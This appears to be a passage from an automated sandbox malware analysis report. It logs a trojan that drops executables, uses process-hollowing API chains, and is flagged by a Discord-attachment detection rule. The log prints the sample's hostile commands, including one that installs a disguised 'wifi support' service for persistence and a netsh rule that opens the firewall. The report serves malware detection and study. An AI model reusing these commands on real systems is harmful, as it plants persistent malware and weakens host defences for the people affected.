Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Code function: 18_2_0582A430	18_2_0582A430
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Code function: 18_2_05824758	18_2_05824758
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Code function: 18_2_058208B0	18_2_058208B0
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Code function: 18_2_058290D3	18_2_058290D3
Source: C:\Windows\SysWOW64\qeprvgom\krmdinzg.exe	Code function: 32_2_0040C913	32_2_0040C913
Source: C:\Windows\SysWOW64\qeprvgom\krmdinzg.exe	Code function: 32_2_0042B0A0	32_2_0042B0A0
Source: C:\Windows\SysWOW64\qeprvgom\krmdinzg.exe	Code function: 32_2_0042A2C0	32_2_0042A2C0
Source: C:\Windows\SysWOW64\qeprvgom\krmdinzg.exe	Code function: 32_2_00424C30	32_2_00424C30

Source: C:\Users\user\AppData\Local\Temp\D936.exe

Code function: 17_2_00401280 ShellExecuteExW,lstrlenW,GetStartupInfoW,CreateProcessWithLogonW,WaitForSingleObject,CloseHandle,CloseHandle,GetLastError,GetLastError,

17_2_00401280

Source: ECD2MpEBSf.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: ECD2MpEBSf.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: ECD2MpEBSf.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: ECD2MpEBSf.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: A332.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: A332.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: A332.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: FB58.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: FB58.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: FB58.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: BB8A.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: BB8A.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: BB8A.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: CCB2.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: CCB2.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: CCB2.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: CCB2.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 6C37.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: D936.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: D936.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: D936.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: D936.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: D502.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: jgdhbua.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: jgdhbua.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: jgdhbua.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: jgdhbua.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: krmdinzg.exe.17.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: krmdinzg.exe.17.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: krmdinzg.exe.17.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: krmdinzg.exe.17.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Users\user\AppData\Local\Temp\3D34.exe

Section loaded: mscorjit.dll

Jump to behavior

Source: ECD2MpEBSf.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Users\user\AppData\Local\Temp\A4DE.exe, type: DROPPED

Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Windows\SysWOW64\qeprvgom\

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\D936.exe	Code function: String function: 0041E100 appears 32 times
Source: C:\Users\user\AppData\Local\Temp\D936.exe	Code function: String function: 0040EE2A appears 40 times
Source: C:\Users\user\AppData\Local\Temp\D936.exe	Code function: String function: 00402544 appears 53 times
Source: C:\Users\user\AppData\Local\Temp\D936.exe	Code function: String function: 022B2794 appears 35 times
Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Code function: String function: 00422A90 appears 133 times
Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Code function: String function: 0041E210 appears 172 times
Source: C:\Windows\SysWOW64\qeprvgom\krmdinzg.exe	Code function: String function: 0041E100 appears 32 times
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: String function: 004048D0 appears 460 times

Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Code function: 0_2_00570110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,	0_2_00570110
Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Code function: 1_2_00401962 Sleep,NtTerminateProcess,	1_2_00401962
Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Code function: 1_2_0040196D Sleep,NtTerminateProcess,	1_2_0040196D
Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Code function: 1_2_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_2_00402000
Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Code function: 1_2_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	1_2_0040250A
Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Code function: 1_2_00401A0B NtTerminateProcess,	1_2_00401A0B
Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Code function: 1_2_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_2_0040201A
Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Code function: 1_2_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_2_0040201E
Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Code function: 1_2_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_2_0040202D
Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Code function: 1_2_00402084 LocalAlloc,NtQuerySystemInformation,	1_2_00402084
Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Code function: 1_2_00402491 NtOpenKey,	1_2_00402491
Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Code function: 1_1_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_1_00402000
Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Code function: 1_1_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	1_1_0040250A
Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Code function: 1_1_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_1_0040201A
Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Code function: 1_1_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_1_0040201E
Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Code function: 1_1_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_1_0040202D
Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Code function: 1_1_00402084 LocalAlloc,NtQuerySystemInformation,	1_1_00402084
Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Code function: 1_1_00402491 NtOpenKey,	1_1_00402491
Source: C:\Users\user\AppData\Roaming\jgdhbua	Code function: 9_2_006F0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,	9_2_006F0110
Source: C:\Users\user\AppData\Roaming\jgdhbua	Code function: 11_2_00401962 Sleep,NtTerminateProcess,	11_2_00401962
Source: C:\Users\user\AppData\Roaming\jgdhbua	Code function: 11_2_0040196D Sleep,NtTerminateProcess,	11_2_0040196D
Source: C:\Users\user\AppData\Roaming\jgdhbua	Code function: 11_2_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	11_2_00402000
Source: C:\Users\user\AppData\Roaming\jgdhbua	Code function: 11_2_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	11_2_0040250A
Source: C:\Users\user\AppData\Roaming\jgdhbua	Code function: 11_2_00401A0B NtTerminateProcess,	11_2_00401A0B
Source: C:\Users\user\AppData\Roaming\jgdhbua	Code function: 11_2_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	11_2_0040201A
Source: C:\Users\user\AppData\Roaming\jgdhbua	Code function: 11_2_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	11_2_0040201E
Source: C:\Users\user\AppData\Roaming\jgdhbua	Code function: 11_2_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	11_2_0040202D
Source: C:\Users\user\AppData\Roaming\jgdhbua	Code function: 11_2_00402084 LocalAlloc,NtQuerySystemInformation,	11_2_00402084
Source: C:\Users\user\AppData\Roaming\jgdhbua	Code function: 11_2_00402491 NtOpenKey,	11_2_00402491

Source: C:\Users\user\AppData\Local\Temp\D936.exe

Code function: 17_2_00408E26: CreateFileW,DeviceIoControl,CloseHandle,

17_2_00408E26

Source: A332.exe.5.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: FB58.exe.5.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: BB8A.exe.5.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: E3A9.exe.5.dr	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESERVED size: 0x100000 address: 0x0
Source: 9889.exe.5.dr	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESERVED size: 0x100000 address: 0x0

Source: E3A9.exe.5.dr	Static PE information: Section: ZLIB complexity 1.00044194799
Source: E3A9.exe.5.dr	Static PE information: Section: ZLIB complexity 1.00537109375
Source: E3A9.exe.5.dr	Static PE information: Section: ZLIB complexity 1.00051229508
Source: E3A9.exe.5.dr	Static PE information: Section: ZLIB complexity 1.0107421875
Source: 6C37.exe.5.dr	Static PE information: Section: .didata ZLIB complexity 0.999523355577
Source: 9889.exe.5.dr	Static PE information: Section: ZLIB complexity 1.00044194799
Source: 9889.exe.5.dr	Static PE information: Section: ZLIB complexity 1.00537109375
Source: 9889.exe.5.dr	Static PE information: Section: ZLIB complexity 1.00051229508
Source: 9889.exe.5.dr	Static PE information: Section: ZLIB complexity 1.0107421875

Source: ECD2MpEBSf.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\qeprvgom\krmdinzg.exe	Evasive API call chain: GetCommandLine,DecisionNodes,ExitProcess
Source: C:\Users\user\AppData\Local\Temp\D936.exe	Evasive API call chain: GetCommandLine,DecisionNodes,ExitProcess

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\jgdhbua

Jump to behavior

Source: classification engine

Classification label: mal100.troj.evad.winEXE@58/27@91/19

Source: C:\Users\user\AppData\Local\Temp\D936.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\D936.exe	Code function: 17_2_00409A6B EntryPoint,SetErrorMode,SetErrorMode,SetErrorMode,SetUnhandledExceptionFilter,GetModuleHandleA,GetModuleFileNameA,GetCommandLineA,lstrlenA,ExitProcess,GetTempPathA,lstrcpyA,lstrcatA,lstrcatA,GetFileAttributesExA,DeleteFileA,GetEnvironmentVariableA,lstrcpyA,lstrlenA,RegOpenKeyExA,RegSetValueExA,RegCloseKey,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,wsprintfA,lstrcatA,lstrcatA,CreateProcessA,DeleteFileA,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,GetCommandLineA,lstrlenA,StartServiceCtrlDispatcherA,DeleteFileA,GetLastError,Sleep,DeleteFileA,CreateThread,CreateThread,WSAStartup,CreateThread,Sleep,Sleep,GetTickCount,GetTickCount,GetTickCount,Sleep,		17_2_00409A6B
Source: C:\Windows\SysWOW64\qeprvgom\krmdinzg.exe	Code function: 32_2_00409A6B EntryPoint,SetErrorMode,SetErrorMode,SetErrorMode,SetUnhandledExceptionFilter,GetModuleHandleA,GetModuleFileNameA,GetCommandLineA,lstrlenA,ExitProcess,GetTempPathA,lstrcpyA,lstrcatA,lstrcatA,GetFileAttributesExA,DeleteFileA,GetEnvironmentVariableA,lstrcpyA,lstrlenA,RegOpenKeyExA,RegSetValueExA,RegCloseKey,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,wsprintfA,lstrcatA,lstrcatA,CreateProcessA,DeleteFileA,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,GetCommandLineA,lstrlenA,StartServiceCtrlDispatcherA,DeleteFileA,GetLastError,Sleep,DeleteFileA,CreateThread,CreateThread,WSAStartup,CreateThread,Sleep,Sleep,GetTickCount,GetTickCount,GetTickCount,Sleep,		32_2_00409A6B

Source: C:\Users\user\AppData\Local\Temp\D936.exe

Code function: 17_2_00409A6B EntryPoint,SetErrorMode,SetErrorMode,SetErrorMode,SetUnhandledExceptionFilter,GetModuleHandleA,GetModuleFileNameA,GetCommandLineA,lstrlenA,ExitProcess,GetTempPathA,lstrcpyA,lstrcatA,lstrcatA,GetFileAttributesExA,DeleteFileA,GetEnvironmentVariableA,lstrcpyA,lstrlenA,RegOpenKeyExA,RegSetValueExA,RegCloseKey,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,wsprintfA,lstrcatA,lstrcatA,CreateProcessA,DeleteFileA,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,GetCommandLineA,lstrlenA,StartServiceCtrlDispatcherA,DeleteFileA,GetLastError,Sleep,DeleteFileA,CreateThread,CreateThread,WSAStartup,CreateThread,Sleep,Sleep,GetTickCount,GetTickCount,GetTickCount,Sleep,

17_2_00409A6B

Source: ECD2MpEBSf.exe

Virustotal: Detection: 36%

Source: C:\Users\user\Desktop\ECD2MpEBSf.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\ECD2MpEBSf.exe "C:\Users\user\Desktop\ECD2MpEBSf.exe"
Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Process created: C:\Users\user\Desktop\ECD2MpEBSf.exe "C:\Users\user\Desktop\ECD2MpEBSf.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Users\user\AppData\Roaming\jgdhbua C:\Users\user\AppData\Roaming\jgdhbua
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Users\user\AppData\Roaming\jgdhbua	Process created: C:\Users\user\AppData\Roaming\jgdhbua C:\Users\user\AppData\Roaming\jgdhbua
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\BB8A.exe C:\Users\user\AppData\Local\Temp\BB8A.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 6816 -ip 6816
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\CCB2.exe C:\Users\user\AppData\Local\Temp\CCB2.exe
Source: C:\Users\user\AppData\Local\Temp\BB8A.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6816 -s 520
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\D936.exe C:\Users\user\AppData\Local\Temp\D936.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\3D34.exe C:\Users\user\AppData\Local\Temp\3D34.exe
Source: C:\Users\user\AppData\Local\Temp\D936.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\qeprvgom\
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\D936.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\krmdinzg.exe" C:\Windows\SysWOW64\qeprvgom\
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Users\user\AppData\Local\Temp\D936.exe	Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\System32\sc.exe" create qeprvgom binPath= "C:\Windows\SysWOW64\qeprvgom\krmdinzg.exe /d\"C:\Users\user\AppData\Local\Temp\D936.exe\"" type= own start= auto DisplayName= "wifi support
Source: C:\Windows\SysWOW64\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\D936.exe	Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\System32\sc.exe" description qeprvgom "wifi internet conection
Source: C:\Windows\SysWOW64\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\D936.exe	Process created: C:\Windows\SysWOW64\sc.exe "C:\Windows\System32\sc.exe" start qeprvgom
Source: C:\Windows\SysWOW64\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\SysWOW64\qeprvgom\krmdinzg.exe C:\Windows\SysWOW64\qeprvgom\krmdinzg.exe /d"C:\Users\user\AppData\Local\Temp\D936.exe"
Source: C:\Users\user\AppData\Local\Temp\D936.exe	Process created: C:\Windows\SysWOW64\netsh.exe "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\qeprvgom\krmdinzg.exe	Process created: C:\Windows\SysWOW64\svchost.exe svchost.exe
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Process created: C:\Users\user\AppData\Local\Temp\3D34.exe C:\Users\user\AppData\Local\Temp\3D34.exe
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Process created: C:\Users\user\AppData\Local\Temp\3D34.exe C:\Users\user\AppData\Local\Temp\3D34.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\A332.exe C:\Users\user\AppData\Local\Temp\A332.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\CADF.exe C:\Users\user\AppData\Local\Temp\CADF.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\jgdhbua C:\Users\user\AppData\Roaming\jgdhbua
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\D502.exe C:\Users\user\AppData\Local\Temp\D502.exe
Source: C:\Users\user\AppData\Roaming\jgdhbua	Process created: C:\Users\user\AppData\Roaming\jgdhbua C:\Users\user\AppData\Roaming\jgdhbua
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\E3A9.exe C:\Users\user\AppData\Local\Temp\E3A9.exe
Source: C:\Users\user\AppData\Local\Temp\CADF.exe	Process created: C:\Users\user\AppData\Local\Temp\CADF.exe C:\Users\user\AppData\Local\Temp\CADF.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\FB58.exe C:\Users\user\AppData\Local\Temp\FB58.exe
Source: C:\Users\user\AppData\Local\Temp\E3A9.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Process created: C:\Users\user\Desktop\ECD2MpEBSf.exe "C:\Users\user\Desktop\ECD2MpEBSf.exe"	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\BB8A.exe C:\Users\user\AppData\Local\Temp\BB8A.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\CCB2.exe C:\Users\user\AppData\Local\Temp\CCB2.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\D936.exe C:\Users\user\AppData\Local\Temp\D936.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\3D34.exe C:\Users\user\AppData\Local\Temp\3D34.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jgdhbua	Process created: C:\Users\user\AppData\Roaming\jgdhbua C:\Users\user\AppData\Roaming\jgdhbua	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 6816 -ip 6816	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6816 -s 520	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D936.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\qeprvgom\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D936.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\krmdinzg.exe" C:\Windows\SysWOW64\qeprvgom\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D936.exe	Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\System32\sc.exe" create qeprvgom binPath= "C:\Windows\SysWOW64\qeprvgom\krmdinzg.exe /d\"C:\Users\user\AppData\Local\Temp\D936.exe\"" type= own start= auto DisplayName= "wifi support	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D936.exe	Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\System32\sc.exe" description qeprvgom "wifi internet conection	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D936.exe	Process created: C:\Windows\SysWOW64\sc.exe "C:\Windows\System32\sc.exe" start qeprvgom	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D936.exe	Process created: C:\Windows\SysWOW64\netsh.exe "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Process created: C:\Users\user\AppData\Local\Temp\3D34.exe C:\Users\user\AppData\Local\Temp\3D34.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Process created: C:\Users\user\AppData\Local\Temp\3D34.exe C:\Users\user\AppData\Local\Temp\3D34.exe	Jump to behavior
Source: C:\Windows\SysWOW64\qeprvgom\krmdinzg.exe	Process created: C:\Windows\SysWOW64\svchost.exe svchost.exe

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32

Jump to behavior

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Local\Temp\BB8A.tmp

Jump to behavior

Source: C:\Users\user\Desktop\ECD2MpEBSf.exe

Code function: 0_2_00419B15 SetLastError,GetConsoleCursorInfo,GetProfileStringA,WriteProfileSectionW,GetProfileStringW,GetLastError,GetSystemWow64DirectoryW,GetWindowsDirectoryW,GetCPInfoExA,GetDiskFreeSpaceExA,GetStartupInfoW,ReadConsoleOutputCharacterW,GlobalUnWire,GetProcessHeap,GetProcessHeap,WritePrivateProfileStringW,SetPriorityClass,

0_2_00419B15

Source: C:\Users\user\AppData\Local\Temp\3D34.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \BaseNamedObjects\Local\SM0:6876:64:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4672:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:64:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3716:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6424:120:WilError_01
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6816
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6604:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4652:120:WilError_01

Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Command line argument: 0.0	0_2_00419D72
Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Command line argument: hijaduvinijebup	0_2_00419D72
Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Command line argument: mocisacatenu	0_2_00419D72
Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Command line argument: wapejan	0_2_00419D72
Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Command line argument: wovag	0_2_00419D72
Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Command line argument: cbH	0_2_00419D72
Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Command line argument: Piruvora	0_2_00419D72
Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Command line argument: gukafipa	0_2_00419D72
Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Command line argument: mawecamaxe	0_2_00419D72
Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Command line argument: Hiwejanoji	0_2_00419D72
Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Command line argument: Pusazide	0_2_00419D72
Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Command line argument: hukujid	0_2_00419D72
Source: C:\Users\user\AppData\Local\Temp\D936.exe	Command line argument: cbH	17_2_00419C7A
Source: C:\Users\user\AppData\Local\Temp\D936.exe	Command line argument: cbH	17_2_00419C7A
Source: C:\Windows\SysWOW64\qeprvgom\krmdinzg.exe	Command line argument: cbH	32_2_00419C7A
Source: C:\Windows\SysWOW64\qeprvgom\krmdinzg.exe	Command line argument: cbH	32_2_00419C7A

Source: 3D34.exe.5.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 3D34.exe.5.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: A4DE.exe.5.dr, Univesity_Grade_Calculator/Form1.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 18.0.3D34.exe.ec0000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
